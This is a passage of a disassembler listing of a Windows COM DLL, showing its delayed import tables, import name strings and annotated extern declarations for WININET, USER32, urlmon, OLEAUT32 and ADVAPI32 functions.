; urlmon.dll bound delayed import address table
OLEAUT32_dll_dbiat dd 0 ; DATA XREF: .text:69B90458o
; OLEAUT32.dll bound delayed import address table
WININET_dll_import_table dd 1 ; DATA XREF: .text:69B87D55o
; Attributes
dd offset aWininet_dll - offset __ImageBase ; "WININET.dll"
dd offset WININET_dll_handle - offset __ImageBase ; Module handle
dd offset InternetCreateUrlW - offset __ImageBase ; Delayed Import Address Table
dd offset WININET_dll_dint - offset __ImageBase ; Delayed Import Name Table
dd offset WININET_dll_dbiat - offset __ImageBase ; Bound Delayed Import Address Table
dd 0 ; Unload Delayed Import Table
dd 0 ; Time stamp
USER32_dll_import_table dd 1 ; DATA XREF: .text:69B87D74o
; Attributes
dd offset aUser32_dll - offset __ImageBase ; "USER32.dll"
dd offset USER32_dll_handle - offset __ImageBase ; Module handle
dd offset DestroyMenu - offset __ImageBase ; Delayed Import Address Table
dd offset USER32_dll_dint - offset __ImageBase ; Delayed Import Name Table
dd offset USER32_dll_dbiat - offset __ImageBase ; Bound Delayed Import Address Table
dd 0 ; Unload Delayed Import Table
dd 0 ; Time stamp
urlmon_dll_import_table dd 1 ; DATA XREF: .text:69B87DF4o
; Attributes
dd offset aUrlmon_dll - offset __ImageBase ; "urlmon.dll"
dd offset urlmon_dll_handle - offset __ImageBase ; Module handle
dd offset __imp_RegisterBindStatusCallback - offset __ImageBase ; Delayed Import Address Table
dd offset urlmon_dll_dint - offset __ImageBase ; Delayed Import Name Table
dd offset urlmon_dll_dbiat - offset __ImageBase ; Bound Delayed Import Address Table
dd 0 ; Unload Delayed Import Table
dd 0 ; Time stamp
OLEAUT32_dll_import_table dd 1 ; DATA XREF: .text:69B87E39o
; Attributes
dd offset aOleaut32_dll - offset __ImageBase ; "OLEAUT32.dll"
dd offset OLEAUT32_dll_handle - offset __ImageBase ; Module handle
dd offset SafeArrayGetDim - offset __ImageBase ; Delayed Import Address Table
dd offset OLEAUT32_dll_dint - offset __ImageBase ; Delayed Import Name Table
dd offset OLEAUT32_dll_dbiat - offset __ImageBase ; Bound Delayed Import Address Table
dd 0 ; Unload Delayed Import Table
dd 0 ; Time stamp
ADVAPI32_dll_import_table dd 1 ; DATA XREF: .text:69B1AA25o
; Attributes
dd offset aAdvapi32_dll - offset __ImageBase ; "ADVAPI32.dll"
dd offset ADVAPI32_dll_handle - offset __ImageBase ; Module handle
dd offset RegDeleteValueA - offset __ImageBase ; Delayed Import Address Table
dd offset ADVAPI32_dll_dint - offset __ImageBase ; Delayed Import Name Table
dd offset ADVAPI32_dll_dbiat - offset __ImageBase ; Bound Delayed Import Address Table
dd 0 ; Unload Delayed Import Table
dd 0 ; Time stamp
dd 8 dup(0)
align 10h
aWininet_dll db 'WININET.dll',0 ; DATA XREF: .text:69B903E8o
align 10h
aUser32_dll db 'USER32.dll',0 ; DATA XREF: .text:69B90408o
align 4
db 34h dup(90h)
aUrlmon_dll db 'urlmon.dll',0 ; DATA XREF: .text:69B90428o
align 10h
aOleaut32_dll db 'OLEAUT32.dll',0 ; DATA XREF: .text:69B90448o
db 5Ah, 2 dup(90h)
aAdvapi32_dll db 'ADVAPI32.dll',0 ; DATA XREF: .text:69B90468o
db 5Ah
WININET_dll_dint dd offset word_69B90652 - offset __ImageBase ; DATA XREF: .text:69B903F4o
; WININET.dll delayed import name table
dd offset word_69B90668 - offset __ImageBase
dd 0
USER32_dll_dint dd offset word_69B9067C - offset __ImageBase ; DATA XREF: .text:69B90414o
; USER32.dll delayed import name table
dd offset word_69B9068A - offset __ImageBase
dd offset word_69B9069C - offset __ImageBase
dd offset word_69B906AC - offset __ImageBase
dd offset word_69B906BA - offset __ImageBase
dd offset word_69B906CE - offset __ImageBase
dd offset word_69B906E0 - offset __ImageBase
dd offset word_69B906F2 - offset __ImageBase
dd offset word_69B90702 - offset __ImageBase
dd offset word_69B9071E - offset __ImageBase
dd offset word_69B9073A - offset __ImageBase
dd offset word_69B9074C - offset __ImageBase
dd offset word_69B9075A - offset __ImageBase
dd offset word_69B9076E - offset __ImageBase
dd offset word_69B9077E - offset __ImageBase
dd 0
urlmon_dll_dint dd offset word_69B90790 - offset __ImageBase ; DATA XREF: .text:69B90434o
; urlmon.dll delayed import name table
dd offset word_69B907AE - offset __ImageBase
dd offset word_69B907C6 - offset __ImageBase
dd offset word_69B907DE - offset __ImageBase
dd 0
OLEAUT32_dll_dint dd 80000011h ; DATA XREF: .text:69B90454o
; OLEAUT32.dll delayed import name table
dd 80000053h
dd 80000067h
dd 8000007Bh
dd 80000070h
dd 8000005Ch
dd 80000066h
dd 80000071h
dd 8000005Dh
dd 80000052h
dd 8000007Ch
dd 80000060h
dd 80000007h
dd 8000001Bh
dd 800000A3h
dd 800000A1h
dd 800000BAh
dd 80000006h
dd 80000008h
dd 8000000Ch
dd 80000009h
dd 800000C9h
dd 800000C8h
dd 800000CAh
dd 80000002h
dd 80000004h
dd 80000018h
dd 80000010h
dd 80000017h
dd 8000019Bh
dd 8000002Fh
dd 8000002Eh
dd 8000014Ah
dd 8000014Bh
dd 80000093h
dd 80000013h
dd 80000014h
dd 8000000Ah
dd 0
ADVAPI32_dll_dint dd offset word_69B907F2 - offset __ImageBase ; DATA XREF: .text:69B90474o
; ADVAPI32.dll delayed import name table
dd offset word_69B90804 - offset __ImageBase
dd offset word_69B90814 - offset __ImageBase
dd offset word_69B90826 - offset __ImageBase
dd offset word_69B90836 - offset __ImageBase
dd offset word_69B90846 - offset __ImageBase
dd offset word_69B90858 - offset __ImageBase
dd offset word_69B90866 - offset __ImageBase
dd offset word_69B9087A - offset __ImageBase
dd 0
word_69B90652 dw 0 ; DATA XREF: .text:WININET_dll_dinto
aInternetcreate db 'InternetCreateUrlW',0
db 64h
word_69B90668 dw 0 ; DATA XREF: .text:69B90532o
aInternetcracku db 'InternetCrackUrlW',0
word_69B9067C dw 0 ; DATA XREF: .text:USER32_dll_dinto
aDestroymenu db 'DestroyMenu',0
word_69B9068A dw 0 ; DATA XREF: .text:69B9053Eo
aEnablemenuitem db 'EnableMenuItem',0
db 33h
word_69B9069C dw 0 ; DATA XREF: .text:69B90542o
aGetmenuitemid db 'GetMenuItemID',0
word_69B906AC dw 0 ; DATA XREF: .text:69B90546o
aLoadstringa db 'LoadStringA',0
word_69B906BA dw 0 ; DATA XREF: .text:69B9054Ao
aUnregisterclas db 'UnregisterClassA',0
db 2Eh
word_69B906CE dw 0 ; DATA XREF: .text:69B9054Eo
aRegisterclassa db 'RegisterClassA',0
db 33h
word_69B906E0 dw 0 ; DATA XREF: .text:69B90552o
aCreatewindowex db 'CreateWindowExA',0
word_69B906F2 dw 0 ; DATA XREF: .text:69B90556o
aDestroywindow db 'DestroyWindow',0
word_69B90702 dw 0 ; DATA XREF: .text:69B9055Ao
aMsgwaitformult db 'MsgWaitForMultipleObjects',0
word_69B9071E dw 0 ; DATA XREF: .text:69B9055Eo
aRegisterclipbo db 'RegisterClipboardFormatA',0
db 7
word_69B9073A dw 0 ; DATA XREF: .text:69B90562o
aTrackpopupmenu db 'TrackPopupMenu',0
db 33h
word_69B9074C dw 0 ; DATA XREF: .text:69B90566o
aGetsubmenu db 'GetSubMenu',0
db 55h
word_69B9075A dw 0 ; DATA XREF: .text:69B9056Ao
aGetmenuitemcou db 'GetMenuItemCount',0
db 2Eh
word_69B9076E dw 0 ; DATA XREF: .text:69B9056Eo
aGetmenustate db 'GetMenuState',0
db 45h
word_69B9077E dw 0 ; DATA XREF: .text:69B90572o
aGetactivewindo db 'GetActiveWindow',0
word_69B90790 dw 0 ; DATA XREF: .text:urlmon_dll_dinto
aRegisterbindst db 'RegisterBindStatusCallback',0
align 2
word_69B907AE dw 0 ; DATA XREF: .text:69B9057Eo
aUrlmkgetsessio db 'UrlMkGetSessionOption',0
word_69B907C6 dw 0 ; DATA XREF: .text:69B90582o
aCointernetgets db 'CoInternetGetSession',0
db 28h
word_69B907DE dw 0 ; DATA XREF: .text:69B90586o
aCreateurlmonik db 'CreateURLMoniker',0
db 2Eh
word_69B907F2 dw 0 ; DATA XREF: .text:ADVAPI32_dll_dinto
aRegdeletevalue db 'RegDeleteValueA',0
word_69B90804 dw 0 ; DATA XREF: .text:69B9062Eo
aRegdeletekeya db 'RegDeleteKeyA',0
word_69B90814 dw 0 ; DATA XREF: .text:69B90632o
aRegcreatekeyex db 'RegCreateKeyExA',0
word_69B90826 dw 0 ; DATA XREF: .text:69B90636o
aRegopenkeyexa db 'RegOpenKeyExA',0
word_69B90836 dw 0 ; DATA XREF: .text:69B9063Ao
aRegenumvaluea db 'RegEnumValueA',0
word_69B90846 dw 0 ; DATA XREF: .text:69B9063Eo
aRegsetvalueexa db 'RegSetValueExA',0
db 50h
word_69B90858 dw 0 ; DATA XREF: .text:69B90642o
aRegopenkeya db 'RegOpenKeyA',0
word_69B90866 dw 0 ; DATA XREF: .text:69B90646o
aRegqueryvaluee db 'RegQueryValueExA',0
db 33h
word_69B9087A dw 0 ; DATA XREF: .text:69B9064Ao
aRegclosekey db 'RegCloseKey',0
dd 8091Ch, 2 dup(0)
dd 808ECh, 1000h, 8094Ch, 2 dup(0)
dd 808F6h, 1030h, 809E0h, 2 dup(0)
dd 80902h, 10C4h, 80B88h, 2 dup(0)
dd 80910h, 126Ch, 5 dup(0)
dd 33656C6Fh, 6C642E32h, 4853006Ch, 5041574Ch, 6C642E49h
dd 454B006Ch, 4C454E52h, 642E3233h, 6C6Ch, 53524556h, 2E4E4F49h
dd 6C6C64h, 80B98h, 80BB0h, 80BC2h, 80BD4h, 80BE4h, 80BF6h
dd 80C06h, 80C1Eh, 80C30h, 80C50h, 80C60h, 0
dd 80000075h, 80000038h, 80000088h, 8000003Ch, 80000074h
dd 80C74h, 80C8Ah, 80000002h, 80C9Eh, 8000000Fh, 80000137h
dd 80000136h, 8000007Dh, 80000080h, 80CB2h, 8000001Ah
dd 80CBCh, 80CC8h, 80CD6h, 80CE6h, 80CFEh, 80D14h, 80D2Ah
dd 80000034h, 80D34h, 80000044h, 80D3Eh, 80D4Ah, 8000002Dh
dd 80D56h, 8000002Bh, 80000026h, 80000033h, 80000053h
dd 80D62h, 80000073h, 0
dd 80D6Ch, 80D7Ch, 80D8Ah, 80D9Ch, 80DACh, 80DBCh, 80DCEh
dd 80DE0h, 80DF2h, 80E00h, 80E0Ch, 80E16h, 80E26h, 80E32h
dd 80E4Ch, 80E66h, 80E7Eh, 80E98h, 80EAAh, 80EBAh, 80ECCh
dd 80EDAh, 80EECh, 80EFCh, 80F10h, 80F20h, 80F2Eh, 80F3Ah
dd 80F48h, 80F58h, 80F70h, 80F82h, 80F92h, 80F9Eh, 80FAAh
dd 80FBCh, 80FCCh, 80FDAh, 80FE6h, 80FFCh, 81008h, 81024h
dd 8103Ah, 81048h, 81056h, 8106Ah, 8107Eh, 81092h, 810ACh
dd 810BCh, 810D2h, 810E8h, 81102h, 8111Ah, 81132h, 8113Eh
dd 8114Ah, 81156h, 81162h, 81170h, 81180h, 81192h, 811A4h
dd 811B8h, 811C6h, 811D6h, 811E2h, 811ECh, 81200h, 81216h
dd 8121Eh, 81234h, 81244h, 81250h, 8125Eh, 81276h, 8128Eh
dd 812A4h, 812B8h, 812D0h, 812E4h, 81300h, 8130Eh, 8131Eh
dd 8132Ch, 8133Ch, 8134Ch, 8135Ah, 8136Ch, 81382h, 81396h
dd 813A8h, 813B8h, 813C8h, 813D8h, 813EAh, 813FCh, 81414h
dd 8142Ch, 81438h, 81444h, 81452h, 81464h, 81472h, 81486h
dd 0
dd 81492h, 814A8h, 814BAh, 0
db 91h ; ‘
align 2
aGethglobalfrom db 'GetHGlobalFromStream',0
align 10h
dd 74530133h, 676E6972h, 6D6F7246h, 49534C43h, 630044h
dd 61546F43h, 654D6B73h, 6C6C416Dh, 636Fh, 72430075h, 65746165h
dd 646E6942h, 787443h, 6F430068h, 6E696E55h, 61697469h
dd 657A696Ch, 3A0000h, 6E496F43h, 61697469h, 657A696Ch
dd 820000h
aCreatestreamon db 'CreateStreamOnHGlobal',0
dw 6
aClsidfromprogi db 'CLSIDFromProgID',0
db 0Eh
align 2
aCocreatefreeth db 'CoCreateFreeThreadedMarshaler',0
aD db 'd',0
aCotaskmemfree db 'CoTaskMemFree',0
db 10h
align 2
aCocreateinstan db 'CoCreateInstance',0
align 4
db '*',0
aPathfindextens db 'PathFindExtensionW',0
align 2
dw 110h
aUrlcanonicaliz db 'UrlCanonicalizeW',0
align 2
db ',',0
aPathfindfilena db 'PathFindFileNameW',0
db 'Ó',0
aStrcatw db 'StrCatW',0
db 'Ý',0
aStrcmpnia db 'StrCmpNIA',0
aV db 'V',0
aPathisurlw db 'PathIsURLW',0
align 2
dw 126h
aUrlunescapew db 'UrlUnescapeW',0
align 2
aP db 'p',0
aPathsearchandq db 'PathSearchAndQualifyW',0
dw 116h
aUrlcreatefromp db 'UrlCreateFromPathW',0
align 4
db '&',0
aPathcreatefrom db 'PathCreateFromUrlW',0
align 2
dw 124h
aUrlisw db 'UrlIsW',0
align 4
aT db 'â',0
aStrcpyw db 'StrCpyW',0
dw 10Ah
aStrtointw db 'StrToIntW',0
db 'Þ',0
aStrcmpniw db 'StrCmpNIW',0
db 'ß',0
aStrcmpnw db 'StrCmpNW',0
align 2
aR db 'à',0
aStrcmpw db 'StrCmpW',0
dd 7553033Ah, 6E657073h, 72685464h, 646165h, 6F4C0243h
dd 416C6163h, 636F6C6Ch, 36A0000h, 74726956h, 506C6175h
dd 65746F72h, 7463h, 434C0230h, 5370614Dh, 6E697274h, 5767h
dd 434C022Fh, 5370614Dh, 6E697274h, 4167h, 654701ADh, 72745374h
dd 54676E69h, 57657079h, 1AA0000h, 53746547h, 6E697274h
dd 70795467h, 4165h, 65470166h, 636F4C74h, 49656C61h, 416F666Eh
dd 2050000h, 70616548h, 6C416552h, 636F6Ch, 65470185h
dd 4D454F74h, 5043h, 654700F0h, 50434174h, 36C0000h, 74726956h
dd 516C6175h, 79726575h, 2BE0000h, 556C7452h, 6E69776Eh
dd 1490064h, 45746547h, 7269766Eh, 656D6E6Fh, 7453746Eh
dd 676E6972h, 5773h, 724600E9h, 6E456565h, 6F726976h, 6E656D6Eh
dd 72745374h, 73676E69h, 1470057h, 45746547h, 7269766Eh
dd 656D6E6Fh, 7453746Eh, 676E6972h, 0E80073h, 65657246h
dd 69766E45h, 6D6E6F72h, 53746E65h, 6E697274h, 417367h
dd 654701A7h, 61745374h, 70757472h, 6F666E49h, 1A90041h
dd 53746547h, 61486474h, 656C646Eh, 3090000h, 48746553h
dd 6C646E61h, 756F4365h, 746Eh, 784500AAh, 72507469h, 7365636Fh
dd 1020073h, 43746547h, 616D6D6Fh, 694C646Eh, 41656Eh
dd 72430064h, 65746165h, 65726854h, 6461h, 65530327h, 72685474h
dd 50646165h, 726F6972h, 797469h, 72430045h, 65746165h
dd 6E657645h, 4174h, 6C4701E3h, 6C61626Fh, 6F6C6C41h, 39F0063h
dd 7274736Ch, 57746163h, 1EE0000h, 626F6C47h, 6F4C6C61h
dd 6B63h, 6C4701F5h, 6C61626Fh, 6F6C6E55h, 6B63h, 654701AEh
dd 73795374h, 446D6574h, 75616665h, 434C746Ch, 4449h, 654701C5h
dd 72685474h, 4C646165h, 6C61636Fh, 2F70065h, 45746553h
dd 664F646Eh, 656C6946h, 3A70000h, 7274736Ch, 41797063h
dd 3AD0000h, 7274736Ch, 416E656Ch, 1920000h, 50746547h
dd 41636F72h, 65726464h, 7373h, 6F4C023Dh, 694C6461h, 72617262h
dd 4179h, 724600EAh, 694C6565h, 72617262h, 39E0079h, 7274736Ch
dd 41746163h, 2600000h, 746C754Dh, 74794269h, 576F5465h
dd 43656469h, 726168h, 736C03A1h, 6D637274h, 4170h, 784500ADh
dd 646E6170h, 69766E45h, 6D6E6F72h, 53746E65h, 6E697274h
dd 417367h, 6547016Fh, 646F4D74h, 46656C75h, 4E656C69h
dd 41656D61h, 3480000h, 53736C54h, 61567465h, 65756Ch
dd 6C540347h, 74654773h, 756C6156h, 3400065h, 6D726554h
dd 74616E69h, 6F725065h, 73736563h, 1340000h, 43746547h
dd 65727275h, 7250746Eh, 7365636Fh, 1710073h, 4D746547h
dd 6C75646Fh, 6E614865h, 41656C64h, 28C0000h, 72657551h
dd 72655079h, 6D726F66h, 65636E61h, 6E756F43h, 726574h
dd 654701CAh, 63695474h, 756F436Bh, 746Eh, 65470138h, 72754374h
dd 746E6572h, 65726854h, 64496461h, 1350000h, 43746547h
dd 65727275h, 7250746Eh, 7365636Fh, 644973h, 654701B7h
dd 73795374h, 546D6574h, 41656D69h, 6C694673h, 6D695465h
dd 2130065h, 65746E49h, 636F6C72h, 4464656Bh, 65726365h
dd 746E656Dh, 2170000h, 65746E49h, 636F6C72h, 4964656Bh
dd 6572636Eh, 746E656Dh, 3AE0000h, 7274736Ch, 576E656Ch
dd 2010000h, 70616548h, 65657246h, 2070000h, 70616548h
dd 657A6953h, 1FB0000h, 70616548h, 6F6C6C41h, 3670063h
dd 74726956h, 466C6175h, 656572h, 69560364h, 61757472h
dd 6C6C416Ch, 636Fh, 65470194h, 6F725074h, 73736563h, 70616548h
dd 870000h, 6C707544h, 74616369h, 6E614865h, 656C64h, 65470137h
dd 72754374h, 746E6572h, 65726854h, 6461h, 6C43002Ah, 4865736Fh
dd 6C646E61h, 1D40065h, 56746547h, 69737265h, 78456E6Fh
dd 3450041h, 41736C54h, 636F6C6Ch, 3460000h, 46736C54h
dd 656572h, 654701C3h, 72685474h, 43646165h, 65746E6Fh
dd 7478h, 6E490214h, 6C726574h, 656B636Fh, 63784564h, 676E6168h
dd 3380065h, 65656C53h, 3740070h, 74696157h, 53726F46h
dd 6C676E69h, 6A624F65h, 746365h, 655202B9h, 656D7573h
dd 65726854h, 6461h, 655302FBh, 65764574h, 746Eh, 655202B6h
dd 45746573h, 746E6576h, 8A0000h, 65746E45h, 69724372h
dd 61636974h, 6365536Ch, 6E6F6974h, 23C0000h, 7661654Ch
dd 69724365h, 61636974h, 6365536Ch, 6E6F6974h, 2760000h
dd 7074754Fh, 65447475h, 53677562h, 6E697274h, 4167h, 655202ABh
dd 7361656Ch, 6D655365h, 6F687061h, 6572h, 65440075h, 6574656Ch
dd 74697243h, 6C616369h, 74636553h, 6E6F69h, 72430060h
dd 65746165h, 616D6553h, 726F6870h, 4165h, 6E49020Eh, 61697469h
dd 657A696Ch, 74697243h, 6C616369h, 74636553h, 6E6F69h
dd 654801FFh, 65447061h, 6F727473h, 1630079h, 4C746547h
dd 45747361h, 726F7272h, 1FD0000h, 70616548h, 61657243h
dd 6574h, 654701B3h, 73795374h, 496D6574h, 6F666Eh, 6553030Dh
dd 73614C74h, 72724574h, 726Fh, 6544006Eh, 42677562h, 6B616572h
dd 2900000h, 73696152h, 63784565h, 69747065h, 6E6Fh, 69570378h
dd 68436564h, 6F547261h, 746C754Dh, 74794269h, 15B0065h
dd 46746547h, 506C6C75h, 4E687461h, 41656D61h, 3370000h
dd 657A6953h, 6552666Fh, 72756F73h, 6563h, 6F4C0250h, 65526B63h
dd 72756F73h, 6563h, 6F4C0242h, 65526461h, 72756F73h, 6563h
dd 694600D5h, 6552646Eh, 72756F73h, 416563h, 6F4C023Eh
dd 694C6461h, 72617262h, 41784579h, 0E50000h, 6D726F46h
dd 654D7461h, 67617373h, 4165h, 694600B7h, 6954656Ch, 6F54656Dh
dd 74737953h, 69546D65h, 656Dh, 7953033Dh, 6D657473h, 656D6954h
dd 69466F54h, 6954656Ch, 656Dh, 654700F6h, 49504374h, 6F666Eh
dd 72570385h, 46657469h, 656C69h, 65470158h, 6C694674h
dd 70795465h, 3000065h, 46746553h, 50656C69h, 746E696Fh
dd 7265h, 72430049h, 65746165h, 656C6946h, 0E00041h, 73756C46h
dd 6C694668h, 66754265h, 73726566h, 29D0000h, 64616552h
dd 656C6946h, 0
aGetfileversion db 'GetFileVersionInfoA',0
db 0Ah,0
aVerqueryvaluea db 'VerQueryValueA',0
align 2
dw 1
aGetfileversi_0 db 'GetFileVersionInfoSizeA',0
aRrrr db '',0
align 4
aDOa db 'D)oA',0
align 4
dd 2, 1Bh, 1B204h, 1A604h, 0
dd 416F2944h, 0
dd 0Ah, 3Fh dup(0)
_text ends
; Section 2. (virtual address 00082000)
; Virtual size : 000097A0 ( 38816.)
; Section size in file : 00009200 ( 37376.)
; Offset to raw data for section: 00080A00
; Flags C0000040: Data Readable Writable
; Alignment : default
;
; Delayed imports from WININET.dll
;
; ===========================================================================
; Segment type: Externs
; _idata
; BOOL __stdcall InternetCreateUrlW(LPURL_COMPONENTSW lpUrlComponents, DWORD dwFlags, LPWSTR lpszUrl, LPDWORD lpdwUrlLength)
extrn InternetCreateUrlW:dword ; CODE XREF: sub_69B7AB78+219p
; sub_69B7AB78+25Dp
; DATA XREF: ...
; BOOL __stdcall InternetCrackUrlW(LPCWSTR lpszUrl, DWORD dwUrlLength, DWORD dwFlags, LPURL_COMPONENTSW lpUrlComponents)
extrn InternetCrackUrlW:dword ; CODE XREF: sub_69B3A58D+2Dp
; sub_69B7AB78+6Dp
; DATA XREF: ...
;
; Delayed imports from USER32.dll
;
; BOOL __stdcall DestroyMenu(HMENU hMenu)
extrn DestroyMenu:dword ; CODE XREF: sub_69B803AC+FAp
; DATA XREF: sub_69B803AC+FAr ...
; BOOL __stdcall EnableMenuItem(HMENU hMenu, UINT uIDEnableItem, UINT uEnable)
extrn EnableMenuItem:dword ; CODE XREF: sub_69B7E71B+70p
; DATA XREF: sub_69B7E71B+70r ...
; UINT __stdcall GetMenuItemID(HMENU hMenu, int nPos)
extrn GetMenuItemID:dword ; CODE XREF: sub_69B7E71B+50p
; DATA XREF: sub_69B7E71B+50r ...
; int __stdcall LoadStringA(HINSTANCE hInstance, UINT uID, LPSTR lpBuffer, int nBufferMax)
extrn LoadStringA:dword ; CODE XREF: sub_69B2F6DD+1Cp
; DATA XREF: sub_69B2F6DD+1Cr ...
; BOOL __stdcall UnregisterClassA(LPCSTR lpClassName, HINSTANCE hInstance)
extrn UnregisterClassA:dword ; CODE XREF: sub_69B1E4CF+6676p
; DATA XREF: sub_69B1E4CF+6676r ...
; ATOM __stdcall RegisterClassA(const WNDCLASSA *lpWndClass)
extrn RegisterClassA:dword ; CODE XREF: sub_69B80FE6+6Ep
; DATA XREF: sub_69B80FE6+6Er ...
; HWND __stdcall CreateWindowExA(DWORD dwExStyle, LPCSTR lpClassName, LPCSTR lpWindowName, DWORD dwStyle, int X, int Y, int nWidth, int nHeight, HWND hWndParent, HMENU hMenu, HINSTANCE hInstance, LPVOID lpParam)
extrn CreateWindowExA:dword ; CODE XREF: sub_69B80E07+BFp
; DATA XREF: sub_69B80E07+BFr ...
; BOOL __stdcall DestroyWindow(HWND hWnd)
extrn DestroyWindow:dword ; CODE XREF: sub_69B808E7+2Ap
; DATA XREF: sub_69B808E7+2Ar ...
; DWORD __stdcall MsgWaitForMultipleObjects(DWORD nCount, LPHANDLE pHandles, BOOL fWaitAll, DWORD dwMilliseconds, DWORD dwWakeMask)
extrn MsgWaitForMultipleObjects:dword ; CODE XREF: sub_69B80843+1Bp
; sub_69B80843+5Dp ...
; UINT __stdcall RegisterClipboardFormatA(LPCSTR lpszFormat)
extrn RegisterClipboardFormatA:dword ; CODE XREF: sub_69B8062D+10p
; DATA XREF: sub_69B8062D+10r ...
; BOOL __stdcall TrackPopupMenu(HMENU hMenu, UINT uFlags, int x, int y, int nReserved, HWND hWnd, const RECT *prcRect)
extrn TrackPopupMenu:dword ; CODE XREF: sub_69B803AC+C5p
; DATA XREF: sub_69B803AC+C5r ...
; HMENU __stdcall GetSubMenu(HMENU hMenu, int nPos)
extrn GetSubMenu:dword ; CODE XREF: sub_69B7E71B+3Ap
; DATA XREF: sub_69B7E71B+3Ar ...
; int __stdcall GetMenuItemCount(HMENU hMenu)
extrn GetMenuItemCount:dword ; CODE XREF: sub_69B7E71B+Fp
; DATA XREF: sub_69B7E71B+Fr ...
; UINT __stdcall GetMenuState(HMENU hMenu, UINT uId, UINT uFlags)
extrn GetMenuState:dword ; CODE XREF: sub_69B7E71B+24p
; DATA XREF: sub_69B7E71B+24r ...
; HWND __stdcall GetActiveWindow()
extrn GetActiveWindow:dword ; CODE XREF: sub_69B7CB54+E5p
; DATA XREF: sub_69B7CB54+E5r ...
;
; Delayed imports from urlmon.dll
;
; HRESULT __stdcall RegisterBindStatusCallback(LPBC pBC, IBindStatusCallback *pBSCb, IBindStatusCallback **ppBSCBPrev, DWORD dwReserved)
extrn __imp_RegisterBindStatusCallback:dword ; DATA XREF: .text:69B87E08o
; RegisterBindStatusCallbackr ...
; HRESULT __stdcall UrlMkGetSessionOption(DWORD dwOption, LPVOID pBuffer, DWORD dwBufferLength, DWORD *pdwBufferLength, DWORD dwReserved)
extrn __imp_UrlMkGetSessionOption:dword ; DATA XREF: .text:69B87E15o
; UrlMkGetSessionOptionr
; HRESULT __stdcall CoInternetGetSession(DWORD dwSessionMode, IInternetSession **ppIInternetSession, DWORD dwReserved)
extrn __imp_CoInternetGetSession:dword ; DATA XREF: .text:69B87E22o
; CoInternetGetSessionr
; HRESULT __stdcall CreateURLMoniker(LPMONIKER pMkCtx, LPCWSTR szURL, LPMONIKER *ppmk)
extrn __imp_CreateURLMoniker:dword ; DATA XREF: .text:69B87DEAo
; CreateURLMonikerr
;
; Delayed imports from OLEAUT32.dll
;
; UINT __stdcall SafeArrayGetDim(SAFEARRAY *psa)
extrn SafeArrayGetDim:dword ; CODE XREF: sub_69B7D8C5+E2p
; DATA XREF: sub_69B7D8C5+E2r ...
; HRESULT __stdcall VarR8FromDate(DATE dateIn, DOUBLE *pdblOut)
extrn VarR8FromDate:dword ; CODE XREF: sub_69B650E5+15p
; DATA XREF: sub_69B650E5+15r ...
; HRESULT __stdcall VarCyFromDate(DATE dateIn, CY *pcyOut)
extrn VarCyFromDate:dword ; CODE XREF: sub_69B650A9+15p
; DATA XREF: sub_69B650A9+15r ...
; HRESULT __stdcall VarBoolFromDate(DATE dateIn, VARIANT_BOOL *pboolOut)
extrn VarBoolFromDate:dword ; CODE XREF: sub_69B65070+13p
; DATA XREF: sub_69B65070+13r ...
; HRESULT __stdcall VarBstrFromR8(DOUBLE dblIn, LCID lcid, ULONG dwFlags, BSTR *pbstrOut)
extrn VarBstrFromR8:dword ; CODE XREF: sub_69B64F86+5Fp
; DATA XREF: sub_69B64F86+5Fr ...
; HRESULT __stdcall VarDateFromR8(DOUBLE dblIn, DATE *pdateOut)
extrn VarDateFromR8:dword ; CODE XREF: sub_69B64F3E+16p
; DATA XREF: sub_69B64F3E+16r ...
; HRESULT __stdcall VarCyFromR8(DOUBLE dblIn, CY *pcyOut)
extrn VarCyFromR8:dword ; CODE XREF: sub_69B64EF0+16p
; DATA XREF: sub_69B64EF0+16r ...
; HRESULT __stdcall VarBstrFromCy(CY cyIn, LCID lcid, ULONG dwFlags, BSTR *pbstrOut)
extrn VarBstrFromCy:dword ; CODE XREF: sub_69B64E66+17p
; DATA XREF: sub_69B64E66+17r ...
; HRESULT __stdcall VarDateFromCy(CY cyIn, DATE *pdateOut)
extrn VarDateFromCy:dword ; CODE XREF: sub_69B64E20+14p
; DATA XREF: sub_69B64E20+14r ...
; HRESULT __stdcall VarR8FromCy(CY cyIn, DOUBLE *pdblOut)
extrn VarR8FromCy:dword ; CODE XREF: sub_69B64DEC+13p
; DATA XREF: sub_69B64DEC+13r ...
; HRESULT __stdcall VarBoolFromCy(CY cyIn, VARIANT_BOOL *pboolOut)
extrn VarBoolFromCy:dword ; CODE XREF: sub_69B64DB5+11p
; DATA XREF: sub_69B64DB5+11r ...
; HRESULT __stdcall VarDateFromBool(VARIANT_BOOL boolIn, DATE *pdateOut)
extrn VarDateFromBool:dword ; CODE XREF: sub_69B64D0D+15p
; DATA XREF: sub_69B64D0D+15r ...
; UINT __stdcall SysStringLen(BSTR)
extrn SysStringLen:dword ; CODE XREF: sub_69B1F708+73p
; sub_69B64A14+165p ...
; HRESULT __stdcall SafeArrayCopy(SAFEARRAY *psa, SAFEARRAY **ppsaOut)
extrn SafeArrayCopy:dword ; CODE XREF: sub_69B5663E+41p
; DATA XREF: sub_69B5663E+41r ...
; HRESULT __stdcall RegisterTypeLib(ITypeLib *ptlib, OLECHAR *szFullPath, OLECHAR *szHelpDir)
extrn RegisterTypeLib:dword ; CODE XREF: sub_69B2B4A9+117p
; sub_69B2BF77+C7p ...
; HRESULT __stdcall LoadTypeLib(const OLECHAR *szFile, ITypeLib **pptlib)
extrn LoadTypeLib:dword ; CODE XREF: sub_69B2B4A9+FFp
; sub_69B2BF77+AFp ...
; HRESULT __stdcall UnRegisterTypeLib(const GUID *const libID, WORD wVerMajor, WORD wVerMinor, LCID lcid, SYSKIND syskind)
extrn UnRegisterTypeLib:dword ; CODE XREF: DllUnregisterServer+3Fp
; DATA XREF: DllUnregisterServer+3Fr ...
; void __stdcall SysFreeString(BSTR)
extrn SysFreeString:dword ; CODE XREF: sub_69B1F708+DBp
; sub_69B1F708+188p ...
; void __stdcall VariantInit(VARIANTARG *pvarg)
extrn VariantInit:dword ; CODE XREF: sub_69B2C800+4Ap
; sub_69B2CFAA+C2p ...
; HRESULT __stdcall VariantChangeType(VARIANTARG *pvargDest, VARIANTARG *pvarSrc, USHORT wFlags, VARTYPE vt)
extrn VariantChangeType:dword ; CODE XREF: sub_69B2CB01+10Ap
; sub_69B45CD4+61p ...
; HRESULT __stdcall VariantClear(VARIANTARG *pvarg)
extrn VariantClear:dword ; CODE XREF: sub_69B2CB01+A6p
; sub_69B2CFAA+10Ep ...
; HRESULT __stdcall SetErrorInfo(ULONG dwReserved, IErrorInfo *perrinfo)
